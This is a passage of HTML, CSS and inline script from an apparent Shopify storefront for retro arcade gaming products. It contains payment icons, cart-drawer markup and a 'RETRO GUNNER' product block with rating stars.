0 0-3.065-1.183 4.53 4.53 0 0 0-4.027 2.5l1.502 1.171a2.715 2.715 0 0 1 2.55-1.875z" fill="#EA4335"/></svg>

                    </li>
                    <li class="list-payment__item">
                      <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" viewbox="0 0 38 24" aria-labelledby="pi-klarna" fill="none"><title id="pi-klarna">Klarna</title><rect width="38" height="24" rx="2" fill="#FFA8CD"/><rect x=".5" y=".5" width="37" height="23" rx="1.5" stroke="#000" stroke-opacity=".07"/><path d="M30.62 14.755c-.662 0-1.179-.554-1.179-1.226 0-.673.517-1.226 1.18-1.226.663 0 1.18.553 1.18 1.226 0 .672-.517 1.226-1.18 1.226zm-.33 1.295c.565 0 1.286-.217 1.686-1.068l.04.02c-.176.465-.176.742-.176.81v.11h1.423v-4.786H31.84v.109c0 .069 0 .346.175.81l-.039.02c-.4-.85-1.121-1.068-1.687-1.068-1.355 0-2.31 1.088-2.31 2.522 0 1.433.955 2.521 2.31 2.521zm-4.788-5.043c-.643 0-1.15.228-1.56 1.068l-.039-.02c.175-.464.175-.741.175-.81v-.11h-1.423v4.787h1.462V13.4c0-.662.38-1.078.995-1.078.614 0 .917.356.917 1.068v2.532h1.462v-3.046c0-1.088-.838-1.869-1.989-1.869zm-4.963 1.068l-.039-.02c.176-.464.176-.741.176-.81v-.11h-1.424v4.787h1.463l.01-2.304c0-.673.35-1.078.926-1.078.156 0 .282.02.429.06v-1.464c-.644-.139-1.22.109-1.54.94zm-4.65 2.68c-.664 0-1.18-.554-1.18-1.226 0-.673.516-1.226 1.18-1.226.662 0 1.179.553 1.179 1.226 0 .672-.517 1.226-1.18 1.226zm-.332 1.295c.565 0 1.287-.217 1.687-1.068l.038.02c-.175.465-.175.742-.175.81v.11h1.424v-4.786h-1.424v.109c0 .069 0 .346.175.81l-.038.02c-.4-.85-1.122-1.068-1.687-1.068-1.356 0-2.311 1.088-2.311 2.522 0 1.433.955 2.521 2.31 2.521zm-4.349-.128h1.463V9h-1.463v6.922zM10.136 9H8.644c0 1.236-.751 2.343-1.892 3.134l-.448.317V9h-1.55v6.922h1.55V12.49l2.564 3.43h1.892L8.293 12.64c1.121-.82 1.852-2.096 1.843-3.639z" fill="#0B051D"/></svg>
                    </li>
                    <li class="list-payment__item">
                      <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" width="38" height="24" role="img" aria-labelledby="pi-paypal"><title id="pi-paypal">PayPal</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path fill="#003087" d="M23.9 8.3c.2-1 0-1.7-.6-2.3-.6-.7-1.7-1-3.1-1h-4.1c-.3 0-.5.2-.6.5L14 15.6c0 .2.1.4.3.4H17l.4-3.4 1.8-2.2 4.7-2.1z"/><path fill="#3086C8" d="M23.9 8.3l-.2.2c-.5 2.8-2.2 3.8-4.6 3.8H18c-.3 0-.5.2-.6.5l-.6 3.9-.2 1c0 .2.1.4.3.4H19c.3 0 .5-.2.5-.4v-.1l.4-2.4v-.1c0-.2.3-.4.5-.4h.3c2.1 0 3.7-.8 4.1-3.2.2-1 .1-1.8-.4-2.4-.1-.5-.3-.7-.5-.8z"/><path fill="#012169" d="M23.3 8.1c-.1-.1-.2-.1-.3-.1-.1 0-.2 0-.3-.1-.3-.1-.7-.1-1.1-.1h-3c-.1 0-.2 0-.2.1-.2.1-.3.2-.3.4l-.7 4.4v.1c0-.3.3-.5.6-.5h1.3c2.5 0 4.1-1 4.6-3.8v-.2c-.1-.1-.3-.2-.5-.2h-.1z"/></svg>
                    </li>
                    <li class="list-payment__item">
                      <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" role="img" width="38" height="24" aria-labelledby="pi-visa"><title id="pi-visa">Visa</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path d="M28.3 10.1H28c-.4 1-.7 1.5-1 3h1.9c-.3-1.5-.3-2.2-.6-3zm2.9 5.9h-1.7c-.1 0-.1 0-.2-.1l-.2-.9-.1-.2h-2.4c-.1 0-.2 0-.2.2l-.3.9c0 .1-.1.1-.1.1h-2.1l.2-.5L27 8.7c0-.5.3-.7.8-.7h1.5c.1 0 .2 0 .2.2l1.4 6.5c.1.4.2.7.2 1.1.1.1.1.1.1.2zm-13.4-.3l.4-1.8c.1 0 .2.1.2.1.7.3 1.4.5 2.1.4.2 0 .5-.1.7-.2.5-.2.5-.7.1-1.1-.2-.2-.5-.3-.8-.5-.4-.2-.8-.4-1.1-.7-1.2-1-.8-2.4-.1-3.1.6-.4.9-.8 1.7-.8 1.2 0 2.5 0 3.1.2h.1c-.1.6-.2 1.1-.4 1.7-.5-.2-1-.4-1.5-.4-.3 0-.6 0-.9.1-.2 0-.3.1-.4.2-.2.2-.2.5 0 .7l.5.4c.4.2.8.4 1.1.6.5.3 1 .8 1.1 1.4.2.9-.1 1.7-.9 2.3-.5.4-.7.6-1.4.6-1.4 0-2.5.1-3.4-.2-.1.2-.1.2-.2.1zm-3.5.3c.1-.7.1-.7.2-1 .5-2.2 1-4.5 1.4-6.7.1-.2.1-.3.3-.3H18c-.2 1.2-.4 2.1-.7 3.2-.3 1.5-.6 3-1 4.5 0 .2-.1.2-.3.2M5 8.2c0-.1.2-.2.3-.2h3.4c.5 0 .9.3 1 .8l.9 4.4c0 .1 0 .1.1.2 0-.1.1-.1.1-.1l2.1-5.1c-.1-.1 0-.2.1-.2h2.1c0 .1 0 .1-.1.2l-3.1 7.3c-.1.2-.1.3-.2.4-.1.1-.3 0-.5 0H9.7c-.1 0-.2 0-.2-.2L7.9 9.5c-.2-.2-.5-.5-.9-.6-.6-.3-1.7-.5-1.9-.5L5 8.2z" fill="#142688"/></svg>
                    </li>
                    <li class="list-payment__item">
                      <svg class="icon icon--full-color" xmlns="http://www.w3.org/2000/svg" role="img" viewbox="0 0 38 24" width="38" height="24" aria-labelledby="pi-wise"><title id="pi-wise">Wise</title><g><path d="M35,0L3,0C1.3,0 0,1.3 0,3L0,21C0,22.7 1.4,24 3,24L35,24C36.7,24 38,22.7 38,21L38,3C38,1.3 36.6,0 35,0Z" style="fill-opacity:0.07;fill-rule:nonzero;"/><path d="M35,1C36.1,1 37,1.9 37,3L37,21C37,22.1 36.1,23 35,23L3,23C1.9,23 1,22.1 1,21L1,3C1,1.9 1.9,1 3,1L35,1Z" style="fill:white;fill-rule:nonzero;"/><g transform="matrix(0.254598,0,0,0.254598,5.57478,8.94482)"><path d="M58.738,0.359L65.236,0.359L61.966,23.681L55.468,23.681L58.739,0.359L58.738,0.359ZM50.545,0.359L46.16,13.794L44.247,0.359L39.702,0.359L33.96,13.754L33.243,0.36L26.944,0.36L29.137,23.682L34.36,23.682L40.818,8.932L43.09,23.682L48.233,23.682L56.725,0.359L50.545,0.359ZM105.103,13.914L89.674,13.914C89.754,16.944 91.568,18.937 94.239,18.937C96.253,18.937 97.847,17.86 99.083,15.807L104.291,18.175C102.501,21.702 98.729,24 94.08,24C87.741,24 83.535,19.734 83.535,12.877C83.535,5.342 88.478,0 95.455,0C101.595,0 105.462,4.146 105.462,10.605C105.462,11.681 105.342,12.757 105.103,13.914ZM99.323,9.448C99.323,6.738 97.807,5.023 95.376,5.023C92.864,5.023 90.791,6.817 90.232,9.448L99.323,9.448ZM6.632,7.387L0,15.139L11.844,15.139L13.174,11.484L8.1,11.484L11.2,7.898L11.21,7.803L9.194,4.332L18.266,4.332L11.234,23.682L16.046,23.682L24.538,0.358L2.6,0.358L6.633,7.386L6.632,7.387ZM75.8,5.023C78.092,5.023 80.1,6.256 81.855,8.369L82.776,1.794C81.143,0.688 78.93,0 76,0C70.18,0 66.91,3.409 66.91,7.734C66.91,10.734 68.585,12.568 71.336,13.754L72.651,14.352C75.103,15.399 75.761,15.917 75.761,17.023C75.761,18.169 74.655,18.897 72.971,18.897C70.189,18.907 67.937,17.482 66.243,15.05L65.303,21.749C67.234,23.22 69.708,24 72.97,24C78.502,24 81.9,20.81 81.9,16.385C81.9,13.375 80.565,11.442 77.196,9.927L75.761,9.249C73.767,8.362 73.09,7.874 73.09,6.897C73.09,5.841 74.017,5.023 75.8,5.023Z" style="fill:rgb(22,51,0);fill-rule:nonzero;"/></g></g></svg>
                    </li>
                    <li class="list-payment__item">
                      <svg class="icon icon--full-color" viewbox="0 0 38 24" xmlns="http://www.w3.org/2000/svg" width="38" height="24" role="img" aria-labelledby="pi-bitcoin"><title id="pi-bitcoin">Bitcoin</title><path opacity=".07" d="M35 0H3C1.3 0 0 1.3 0 3v18c0 1.7 1.4 3 3 3h32c1.7 0 3-1.3 3-3V3c0-1.7-1.4-3-3-3z"/><path fill="#fff" d="M35 1c1.1 0 2 .9 2 2v18c0 1.1-.9 2-2 2H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h32"/><path fill="#EDA024" d="M21.6 4.4c-4.2-1.4-8.7.8-10.2 5s.8 8.7 5 10.2 8.7-.8 10.2-5c1.4-4.2-.8-8.7-5-10.2z"/><path fill="#fff" d="M16.1 8.3l.3-1c.6.2 1.3.4 1.9.7.2-.5.4-1 .5-1.6l.9.3-.5 1.5.8.3.5-1.5.9.3c-.2.5-.4 1-.5 1.6l.4.2c.3.2.6.4.9.7.3.3.4.6.5 1 0 .3 0 .6-.2.9-.2.5-.5.8-1.1.9h-.2c.2.1.3.2.4.4.4.4.5.8.4 1.4 0 .1 0 .2-.1.3 0 .1 0 .1-.1.2-.1.2-.2.3-.2.5-.3.5-.8.9-1.5.9-.5 0-1 0-1.4-.1l-.4-.1c-.2.5-.4 1-.5 1.6l-.9-.3c.2-.5.4-1 .5-1.5l-.8-.3c-.2.5-.4 1-.5 1.5l-.9-.3c.2-.5.4-1 .5-1.6l-1.9-.6.6-1.1c.2.1.5.2.7.2.2.1.4 0 .5-.2L17 9.3v-.1c0-.3-.1-.5-.4-.5 0-.2-.2-.3-.5-.4zm1.2 6c.5.2.9.3 1.3.4.3.1.5.1.8.1.2 0 .3 0 .5-.1.5-.3.6-1 .2-1.4l-.6-.5c-.3-.2-.7-.3-1.1-.4-.1 0-.3-.1-.4-.2l-.7 2.1zm1-3.1c.3.1.5.2.7.2.3.1.6.2.9.1.4 0 .7-.1.8-.5.1-.3.1-.6 0-.8-.1-.2-.3-.3-.5-.4-.3-.2-.6-.3-1-.4l-.3-.1c-.1.7-.4 1.3-.6 1.9z"/></svg>
                    </li></ul>
              </div>
        
        <!-- end footer -->
      </div>
    </div>
  </div>
</cart-drawer>

<script>
  document.addEventListener('DOMContentLoaded', function () {
    function isIE() {
      const ua = window.navigator.userAgent;
      const msie = ua.indexOf('MSIE ');
      const trident = ua.indexOf('Trident/');

      return msie > 0 || trident > 0;
    }

    if (!isIE()) return;
    const cartSubmitInput = document.createElement('input');
    cartSubmitInput.setAttribute('name', 'checkout');
    cartSubmitInput.setAttribute('type', 'hidden');
    document.querySelector('#cart').appendChild(cartSubmitInput);
    document.querySelector('#checkout').addEventListener('click', function (event) {
      document.querySelector('#cart').submit();
    });
  });
</script>

</div><main id="MainContent" class="content-for-layout focus-none" role="main" tabindex="-1">
      <div id="shopify-section-template--27363198763291__custom_columns_new_6EArgj" class="shopify-section">
<style data-shopify>.section-template--27363198763291__custom_columns_new_6EArgj-padding {
    padding-top: 12px;
    padding-bottom: 27px;
  }
  .custom-columns-grid-template--27363198763291__custom_columns_new_6EArgj {
    column-gap: 2.0rem;
    row-gap: 3.0rem;
  }

  @media screen and (min-width: 750px) {
    .section-template--27363198763291__custom_columns_new_6EArgj-padding {
      padding-top: 16px;
      padding-bottom: 36px;
    }
    .custom-columns-grid-template--27363198763291__custom_columns_new_6EArgj {
      column-gap: 4.0rem;
      row-gap: 4.0rem;
    }
  }

  

  .color-scheme-template--27363198763291__custom_columns_new_6EArgj.color-custom {
    --color-background: 253, 255, 245;
    --gradient-background: #fdfff5;
    
    --color-foreground: 46, 42, 57;
    --color-button: 221, 29, 29;
    --color-button-text: 255, 255, 255;
    --color-base-outline-button-labels: 221, 29, 29;
  }
  
  
    .color-scheme-template--27363198763291__custom_columns_new_6EArgj.gradient {
  position: relative;
  isolation: isolate;
}

.color-scheme-template--27363198763291__custom_columns_new_6EArgj.gradient::before {
  content: '';
  position: absolute;
  inset: 0;
  background-repeat: repeat;
  background-position: 0 0;
  opacity: 0.07;
  pointer-events: none;
  z-index: 0;background-image:
        linear-gradient(
          to right,
          #ffffff
          1px,
          transparent
          1px
        ),
        linear-gradient(
          to bottom,
          #ffffff
          1px,
          transparent
          1px
        );
      background-size: 40px 40px;}

.color-scheme-template--27363198763291__custom_columns_new_6EArgj.gradient > * {
  position: relative;
  z-index: 1;
}

  

  
    
    
    .custom-columns.custom-columns--indicators > div:nth-child(1) {
      --indicator-color: #FF0000;
    }
  
    
    
    .custom-columns.custom-columns--indicators > div:nth-child(2) {
      --indicator-color: #00FF00;
    }
  
</style><div
  class="gradient    animate-section    animate--hidden    content-for-grouping    color-scheme-template--27363198763291__custom_columns_new_6EArgj    always-display    color-background-1"
>
  
  <div
    id="PageWidth-template--27363198763291__custom_columns_new_6EArgj"
    class="page-width      section-template--27363198763291__custom_columns_new_6EArgj-padding"
  >
    <div
      class="custom-columns"
      style="        --mobile-grid-parts:4;        --desktop-grid-parts:12;        --columns-count:2;        --mobile-row-gap:3.0rem;        --mobile-vertical-alignment:flex-start;        --desktop-row-gap:4.0rem;        --desktop-vertical-alignment:center;        --mobile-column-gap:2.0rem;        --desktop-column-gap:4.0rem;      "
    >
      <div
  class="custom-columns__column    animate-item    animate-item--child                always-display"
  style="        --border-style: solid;    --mobile-width: 4;    --desktop-width: 6;    --border-width: 0px;    --border-radius: 12px;                --border-color: #6d388b;              box-shadow: none;          "
>
  <div class="content-wrapper block-margins">
    <div
  class="product-info__image-block product-info__image-block--mobile-alignment always-display"
  style="    --image-width:100%;    --image-alignment:center;    --mobile-image-alignment:center;    --border-radius:0.0rem;    margin-top: 1.5rem;    margin-bottom: 0.0rem;  "
>
  
    <div
      class="media media--transparent ratio"
      style="--ratio-percent: 80.0%; border-radius: var(--border-radius); overflow: hidden;"
    >
      
      
<img src="//retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=1500" alt="" srcset="//retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=165 165w, //retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=360 360w, //retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=535 535w, //retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=750 750w, //retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=1070 1070w, //retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=1250 1250w, //retrodeckhub.com/cdn/shop/files/Website_Cover_Mobile.webp?v=1774145920&amp;width=1500 1500w" width="1500" height="1200" loading="lazy" sizes="(min-width: 1400px) calc(1400.0px * 1.0),        (min-width: 750px) calc((100vw - 30px) / 12 * 12 * 1.0),        calc((100vw - 30px) / 4 * 12 * 1.0)">
    </div>
  
</div>





<style>
  

  
  

  

  

  
    @keyframes shiny-text-AcytxaDlxRXEzQi9Tb__heading_rb6ABM {
      0% {
        background-position: 0% 50%;
      }
      100% {
        background-position: 200% 50%;
      }
    }

    .heading-AcytxaDlxRXEzQi9Tb__heading_rb6ABM.shiny-text-active {
      background: linear-gradient(
        110deg,
        currentColor 45%,
        rgba(255, 255, 255, 0.8) 50%,
        currentColor 55%
      );
      background-size: 200% 100%;
      -webkit-background-clip: text;
      background-clip: text;
      -webkit-text-fill-color: transparent;
      animation: shiny-text-AcytxaDlxRXEzQi9Tb__heading_rb6ABM 2s linear infinite;
      animation-play-state: paused;
    }

    .heading-AcytxaDlxRXEzQi9Tb__heading_rb6ABM.shiny-text-active.shiny-text-visible {
      animation-play-state: running;
    }

    .heading-AcytxaDlxRXEzQi9Tb__heading_rb6ABM.shiny-text-active.disabled {
      animation: none;
      background: none;
      -webkit-text-fill-color: inherit;
    }
  

  

  
</style>
<h2
  class="heading heading-AcytxaDlxRXEzQi9Tb__heading_rb6ABM    h0 left mobile-center         shiny-text-active                      title-with-highlight-1--color-gradient                                                  title-with-highlight-2--handwritten-underline        always-display"
  style="    margin-top: 0.0rem;    margin-bottom: 1.5rem;          color: #7b7b7b;                  --hightlight-1--color:linear-gradient(180deg, rgba(255, 255, 255, 1) 8%, rgba(89, 89, 89, 1) 44%, rgba(0, 0, 0, 1) 79%);                    --hightlight-1--underline-thickness:2px;                            --hightlight-2--underline-thickness:2px;          --highlight-2--handwritten-underline-color: #a16833;            --highlight-2--handwritten-underline-stroke-width: 10.5;      --highlight-2--handwritten-underline-stroke-position: 60%;      "
  role="region"
  aria-label="&lt;strong&gt;HOME ARCADE&lt;/strong&gt;"
  
>
  
  
  
  

  
    
    <strong class="gradient-color">
      
      
      HOME ARCADE

      

      
    </strong>

    
    
    
  
</h2>




<script>
(function() {
  const heading = document.querySelector('.heading-AcytxaDlxRXEzQi9Tb__heading_rb6ABM.shiny-text-active');
  if (!heading) return;

  
    // Start animation immediately without scroll trigger
    requestAnimationFrame(() => {
      heading.classList.add('shiny-text-visible');
    });
  
})();
</script>










  </div>
</div>


<div
  class="custom-columns__column    animate-item    animate-item--child                always-display"
  style="        --border-style: solid;    --mobile-width: 4;    --desktop-width: 6;    --border-width: 0px;    --border-radius: 12px;                --border-color: #6d388b;              box-shadow: none;          "
>
  <div class="content-wrapper block-margins">
    <style>
  
    @media screen and (min-width: 750px) {
      #ContentContainer-AdUk4K2RBajJBRURnd__container_kYc9N6 {
        
          display: grid;
          grid-template-columns: repeat(2, 1fr);
        
        gap: 20px;
        align-items: center;
      }
      
        #ContentContainer-AdUk4K2RBajJBRURnd__container_kYc9N6 > * {
          margin-top: 0 !important;
          margin-bottom: 0 !important;
        }
      
      
    }
  
  
    @media screen and (max-width: 749px) {
      #ContentContainer-AdUk4K2RBajJBRURnd__container_kYc9N6 {
        
          display: grid;
          grid-template-columns: repeat(2, 1fr);
        
        gap: 20px;
        align-items: flex-end;
      }
      
        #ContentContainer-AdUk4K2RBajJBRURnd__container_kYc9N6 > * {
          margin-top: 0 !important;
          margin-bottom: 0 !important;
        }
      
      
    }
  
</style>
<div
  class="slide-item    always-display            isolate"
  style="    margin-top: 0.0rem;    margin-bottom: 0.0rem;          --bg-color: transparent;      --bg-opacity: 0;        --mobile-width: ;    --desktop-width: ;    --border-style: solid;    --border-width: 0px;    --border-opacity: 100;                --border-color: #6d388b;              --shadow-color: transparent;      --shadow-offset-x: 0px;      --shadow-offset-y: 0px;      --shadow-blur: 0px;      --shadow-spread: 0px;      box-shadow: none;              --padding-y--mobile: 0;--padding-x--mobile: 0;--padding-y--desktop: 0; --padding-x--desktop: 0;--border-radius: 0;      "
>
  
  <div id="ContentContainer-AdUk4K2RBajJBRURnd__container_kYc9N6" class="content-wrapper isolate">
    <style>
  
  
</style>
<div
  class="slide-item    always-display            isolate"
  style="    margin-top: 0.0rem;    margin-bottom: 0.0rem;          --bg-color: transparent;      --bg-opacity: 0;        --mobile-width: ;    --desktop-width: ;    --border-style: solid;    --border-width: 0px;    --border-opacity: 100;                --border-color: #6d388b;              --shadow-color: transparent;      --shadow-offset-x: 0px;      --shadow-offset-y: 0px;      --shadow-blur: 0px;      --shadow-spread: 0px;      box-shadow: none;              --padding-y--mobile: 0;--padding-x--mobile: 0;--padding-y--desktop: 0; --padding-x--desktop: 0;--border-radius: 0;      "
>
  
  <div id="ContentContainer-AUGIxZUcyaDczVXhlS__container_ecNnED" class="content-wrapper isolate">
    <div
  class="product-info__image-block product-info__image-block--mobile-alignment always-display"
  style="    --image-width:100%;    --image-alignment:center;    --mobile-image-alignment:center;    --border-radius:0.0rem;    margin-top: 0.0rem;    margin-bottom: 0.0rem;  "
>
  
    <div
      class="media media--transparent ratio"
      style="--ratio-percent: 100.0%; border-radius: var(--border-radius); overflow: hidden;"
    ><a
          href="/products/retro-gunner"
          class="product-info__image-link"
          aria-label="Image link"
          
          style="position:absolute; inset:0; z-index:5; display:block;"
        ></a>
      
      
<img src="//retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=1500" alt="" srcset="//retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=165 165w, //retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=360 360w, //retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=535 535w, //retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=750 750w, //retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=1070 1070w, //retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=1250 1250w, //retrodeckhub.com/cdn/shop/files/RetroGunner_P1Black_8e2c1689-2580-4d95-9f1e-ae8df5e76f46.webp?v=1774145945&amp;width=1500 1500w" width="1500" height="1500" loading="lazy" sizes="(min-width: 1400px) calc(1400.0px * 1.0),        (min-width: 750px) calc((100vw - 30px) / 12 * 12 * 1.0),        calc((100vw - 30px) / 4 * 12 * 1.0)">
    </div>
  
</div>



<style>
  .custom-text-padding-ASUlpd0xZelBkTUpQO__text_qhjB4g {
    padding-left: 0px;
    padding-right: 0px;
  }
  
  @media screen and (max-width: 749px) {
    .custom-text-padding-ASUlpd0xZelBkTUpQO__text_qhjB4g {
      padding-left: 0px;
      padding-right: 0px;
    }
  }
</style>

<div class="custom-text-padding-ASUlpd0xZelBkTUpQO__text_qhjB4g">
  
<style>
  
    .rich-text-block-ASUlpd0xZelBkTUpQO__text_qhjB4g {
      --color-foreground: 255, 255, 255;
      color: rgb(var(--color-foreground));
    }
  
  .rich-text-block-ASUlpd0xZelBkTUpQO__text_qhjB4g p {
    font-size: 1.4rem;
  }
  
  

  
    /* Apply styling only to bold text */
    .rich-text-block-ASUlpd0xZelBkTUpQO__text_qhjB4g strong,
    .rich-text-block-ASUlpd0xZelBkTUpQO__text_qhjB4g b {
      
          color: #ffffff;
        
      
    }
  

  

  

  

  

  

  

  
</style>
<div
  class="rich-text-block rich-text-block-ASUlpd0xZelBkTUpQO__text_qhjB4g rte     left     mobile-left                        always-display"
  style="    margin-top: 0.0rem;    margin-bottom: 0.0rem;  "
>
  <p><a href="/products/retro-pistol" title="Retro Pistol"><strong>RETRO GUNNER</strong></a></p>
</div>










</div>

<div 
  class="rating-stars always-display"
  style='    --rating:4.6;    --visible-stars:5;    --star-color:#ffffff;    --bg-star-color:#ececec;    --font-size:1.6rem;    --alignment:flex-start;          margin-top: 0.0rem;      margin-bottom: 1.2rem;      '
  
    
  
>
  
    <div class='rating-stars-and-text font-size--desktop-auto flex-center'>
      <div class='rating-stars__container rating-stars__container--underlay'>
        
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
              <path d="M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"/>
            </svg>
          
        
        <div class='rating-stars__container rating-stars__container--overlay'>
          
            <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 576 512" fill='currentColor'>
